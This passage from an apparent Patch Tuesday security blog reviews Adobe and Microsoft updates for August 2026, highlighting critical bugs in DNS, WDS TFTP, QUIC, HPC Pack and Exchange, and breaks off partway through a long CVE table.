3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n 